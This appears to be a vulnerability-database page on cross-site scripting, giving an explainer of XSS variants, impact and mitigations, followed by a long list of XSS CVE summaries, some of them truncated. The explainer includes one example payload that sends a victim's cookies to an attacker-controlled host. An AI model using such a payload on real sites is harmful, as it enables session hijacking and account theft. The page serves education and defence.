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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39285)

EPSS 1% CVSS 6.1
MEDIUM POC This Month

Afian FileRun 2021.03.26 allows XSS when an administrator encounters a crafted document during use of the HTML Editor for a preview or edit action. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Filerun
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored Cross-Site Scripting vulnerability in the GitLab Flavored Markdown in GitLab CE/EE version 8.4 and above allowed an attacker to execute arbitrary JavaScript code on the victim's behalf. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Afian FileRun 2021.03.26 allows stored XSS via an HTTP X-Forwarded-For header that is mishandled when rendering Activity Logs. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Filerun
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

The web server is vulnerable to reflected XSS and therefore an attacker might be able to execute scripts on a client’s computer by sending the client a manipulated URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Rexroth Indramotion Mlc L20 Firmware Rexroth Indramotion Mlc L40 Firmware
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A Stored XSS in merge request creation page in all versions of Gitlab EE starting from 13.7 before 14.1.7, all versions starting from 14.2 before 14.2.5, and all versions starting from 14.3 before. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

In “Calibre-web” application, v0.6.0 to v0.6.12, are vulnerable to Stored XSS in “Metadata”. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Calibre Web
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A Stored XSS via Malicious File Upload exists in Gila CMS version 2.2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS File Upload +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A Stored Cross Site Scripting vulnerability via Malicious File Upload exists in multiple pages of IceHrm 30.0.0.OS that allows for arbitrary execution of JavaScript commands. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Upload Icehrm
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Laravel Booking System Booking Core 2.0 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Booking Core
NVD
EPSS 10% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting (XSS) vulnerability exists in the i-Panel Administration System Version 2.0 that enables a remote attacker to execute arbitrary JavaScript code in the browser-based. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS I Panel Administration System
NVD GitHub Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Modern Events Calendar Lite WordPress plugin before 5.22.2 does not escape some of its settings before outputting them in attributes, allowing high privilege users to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Modern Events Calendar Lite
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Bitcoin / AltCoin Payment Gateway for WooCommerce WordPress plugin before 1.6.1 does not escape the 's' GET parameter before outputting back in the All Masking Rules page, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Bitcoin Altcoin Payment Gateway For Woocommerce
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The CM Tooltip Glossary WordPress plugin before 3.9.21 does not escape some glossary_tooltip shortcode attributes, which could allow users a role as low as Contributor to perform Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Tooltip Glossary
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Better Find and Replace WordPress plugin before 1.2.9 does not escape the 's' GET parameter before outputting back in the All Masking Rules page, leading to a Reflected Cross-Site Scripting issue. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Better Find And Replace
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Appointment Hour Booking WordPress plugin before 1.3.16 does not escape some of the Calendar Form settings, allowing high privilege users to perform Stored Cross-Site Scripting attacks even when. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Appointment Hour Booking
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The User Registration WordPress plugin before 2.0.2 does not properly sanitise the user_registration_profile_pic_url value when submitted directly via the user_registration_update_profile_details. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS User Registration
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

JIZHICMS 1.5.1 contains a cross-site scripting (XSS) vulnerability in the component /user/release.html, which allows attackers to arbitrarily add an administrator cookie. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jizhicms
NVD GitHub VulDB
EPSS 4% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Justwriting
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in concrete/elements/collection_theme.php in concrete5-legacy 5.6.4.0 and below allows remote attackers to inject arbitrary web script or HTML via the rel. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Concrete5 Legacy
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in concrete/elements/collection_add.php in concrete5-legacy 5.6.4.0 and below allows remote attackers to inject arbitrary web script or HTML via the rel. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Concrete5 Legacy
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in toos/permissions/dialogs/access/entity/types/group_combination.php in concrete5-legacy 5.6.4.0 and below allows remote attackers to inject arbitrary web. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Concrete5 Legacy
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in concrete/elements/collection_add.php in concrete5-legacy 5.6.4.0 and below allows remote attackers to inject arbitrary web script or HTML via the ctID. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Concrete5 Legacy
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in concrete/elements/collection_add.php in concrete5-legacy 5.6.4.0 and below allows remote attackers to inject arbitrary web script or HTML via the mode. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Concrete5 Legacy
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in application/modules/admin/views/ecommerce/products.php in Ecommerce-CodeIgniter-Bootstrap (Codeigniter 3.1.11, Bootstrap 3.3.7) allows remote attackers to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Ecommerce Codeigniter Bootstrap
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Spotweb
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the mail parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Spotweb
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Spotweb
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Spotweb
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the firstname parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Spotweb
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Spotweb
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in index.php in FlexTV beta development version allows remote attackers to inject arbitrary web script or HTML via the PHP_SELF parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Flextv
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in callback.php in Spotify-for-Alfred 0.13.9 and below allows remote attackers to inject arbitrary web script or HTML via the error parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Alfred Spotify Mini Player
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in demos/demo.mysqli.php in getID3 1.X and v2.0.0-beta allows remote attackers to inject arbitrary web script or HTML via the showtagfiles parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Getid3
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in dompdf/dompdf/www/demo.php infaveo-helpdesk v1.11.0 and below allow remote attackers to inject arbitrary web script or HTML via the $_SERVER["PHP_SELF"]. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Faveo
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in install/index.php in bugs 1.8 and below version allows remote attackers to inject arbitrary web script or HTML via the first_name parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Bugs
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in install/index.php in bugs 1.8 and below version allows remote attackers to inject arbitrary web script or HTML via the email parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Bugs
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in install/index.php in bugs 1.8 and below version allows remote attackers to inject arbitrary web script or HTML via the last_name parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Bugs
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in _contactform.inc.php in Detector 0.8.5 and below version allows remote attackers to inject arbitrary web script or HTML via the cid parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Detector
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Stored cross-site scripting (XSS) issue in Esri Portal for ArcGIS may allow a remote unauthenticated attacker to pass and store malicious strings in the home application. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Portal For Arcgis
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A reflected XSS vulnerability in Esri Portal for ArcGIS version 10.9 and below may allow a remote attacker able to convince a user to click on a crafted link which could potentially execute arbitrary. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Portal For Arcgis
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect QNAP device running Image2PDF. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Qnap XSS Image2Pdf
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect QNAP device running Photo Station. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Qnap XSS Photo Station
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect QNAP NAS running Photo Station. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Qnap XSS Photo Station
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect QNAP device running Photo Station. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Qnap XSS Photo Station
NVD
EPSS 1% CVSS 5.7
MEDIUM This Month

wire-server is an open-source back end for Wire, a secure collaboration platform. Rated medium severity (CVSS 5.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Wire Server
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

NETSCOUT Systems nGeniusONE 6.3.0 build 1196 allows Reflected Cross-Site Scripting (XSS) in the support endpoint. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ngeniusone
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

NETSCOUT nGeniusONE 6.3.0 build 1196 allows high-privileged users to achieve Stored Cross-Site Scripting (XSS) in FDSQueryService. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ngeniusone
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

NETSCOUT nGeniusONE 6.3.0 build 1196 and earlier allows Stored Cross-Site Scripting (XSS) in UploadFile. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ngeniusone
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

NETSCOUT nGeniusONE 6.3.0 build 1004 and earlier allows Stored Cross-Site Scripting (XSS) in the Packet Analysis module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ngeniusone
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Sterling Order Management 9.4, 9.5, and 10.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Sterling Order Management
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

In Shuup, versions 1.6.0 through 2.10.8 are vulnerable to reflected Cross-Site Scripting (XSS) that allows execution of arbitrary javascript code on a victim browser. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Shuup
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Business Automation Workflow 18.0.0.0, 18.0.0.1, 18.0.0.2, 19.0.0.1, 19.0.0.2, 19.0.0.3,20.0.0.1, 20.0.0.2, and 21.0.2 and IBM Business Process Manager 8.5 and 8.6 are vulnerable to stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Business Automation Workflow +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

In OpenCRX, versions v4.0.0 through v5.1.0 are vulnerable to reflected Cross-site Scripting (XSS), due to unsanitized parameters in the password reset functionality. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Opencrx
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability exists in UEditor v1.4.3.3, which can be exploited by an attacker to obtain user cookie information. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ueditor
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting (XSS) vulnerability exists in all versions of KindEditor, which can be exploited by an attacker to obtain user cookie information. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Kindeditor
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting (XSS) vulnerability exists in KindEditor (Chinese versions) 4.1.12, which can be exploited by an attacker to obtain user cookie information. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Kindeditor
NVD GitHub
EPSS 6% CVSS 6.1
MEDIUM POC This Month

In Progress WhatsUp Gold prior to version 21.1.0, an application endpoint failed to adequately sanitize malicious input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Whatsupgold
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Discourse is an open source discussion platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Discourse
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

This affects the package datatables.net before 1.11.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Datatables Net
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Adobe Experience Manager version 6.5.9.0 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability via the accesskey parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Adobe Experience Manager
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Adobe Experience Manager version 6.5.9.0 (and earlier) is affected by a stored XSS vulnerability when creating Content Fragments. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

RCE XSS Adobe +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in Stylemix Directory Listings WordPress plugin - uListing allows Reflected XSS.0.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Ulisting
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities in YITH Maintenance Mode (WordPress plugin) versions <= 1.3.8, there are 46 vulnerable parameters that were missed by the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Yith Maintenance Mode
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Authenticated Stored Cross-Site Scripting (XSS) vulnerability in YITH Maintenance Mode (WordPress plugin) versions <= 1.3.7, vulnerable parameter &yith_maintenance_newsletter_submit_label. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Yith Maintenance Mode
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The MX Time Zone Clocks WordPress plugin before 3.4.1 does not escape the time_zone attribute of the mxmtzc_time_zone_clocks shortcode, allowing users with a role as low as Contributor to perform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Mx Time Zone Clocks
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The CoolClock WordPress plugin before 4.3.5 does not escape some shortcode attributes, allowing users with a role as low as Contributor toperform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Coolclock
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM This Month

The PostX - Gutenberg Blocks for Post Grid WordPress plugin before 2.4.10, with Saved Templates Addon enabled, allows users with a role as low as Contributor to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Postx Gutenberg Blocks For Post Grid
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM This Month

The PostX - Gutenberg Blocks for Post Grid WordPress plugin before 2.4.10 allows users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks via the plugin's block. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Postx Gutenberg Blocks For Post Grid
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WP Map Block WordPress plugin before 1.2.3 does not escape some attributes of the WP Map Block, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Map Block
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Recipe Card Blocks by WPZOOM WordPress plugin before 2.8.3 does not properly sanitise or escape some of the properties of the Recipe Card Block (such as ingredientsLayout, iconSet, steps,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Recipe Card Blocks For Gutenberg Elementor
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Recipe Card Blocks by WPZOOM WordPress plugin before 2.8.1 does not escape the message parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting issue. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Recipe Card Blocks For Gutenberg Elementor
NVD WPScan
EPSS 5% CVSS 4.8
MEDIUM POC This Month

The TranslatePress WordPress plugin before 2.0.9 does not implement a proper sanitisation on the translated strings. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Translatepress
NVD WPScan Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Cookie Notice & Compliance for GDPR / CCPA WordPress plugin before 2.1.2 does not escape the value of its Button Text setting when outputting it in an attribute in the frontend, allowing high. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Cookie Notice Compliance For Gdpr Ccpa
NVD WPScan
EPSS 0% CVSS 6.5
MEDIUM This Month

A potential DOM-based Cross Site Scripting security vulnerability has been identified in HPE StoreOnce. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Storeonce 5200 Firmware Storeonce 5650 Firmware +4
NVD
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

grav-plugin-admin is vulnerable to Improper Restriction of Rendered UI Layers or Frames. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Grav Plugin Admin
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue was discovered in Concrete CMS through 8.5.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Concrete Cms
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue was discovered in Concrete CMS through 8.5.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Concrete Cms
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

On version 16.x before 16.1.0, 15.1.x before 15.1.4, 14.1.x before 14.1.4.4, and all versions of 13.1.x, 12.1.x, and 11.6.x, a reflected cross-site scripting (XSS) vulnerability exists in the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Big Ip Access Policy Manager
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

btcpayserver is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Btcpay Server
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Opensis
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

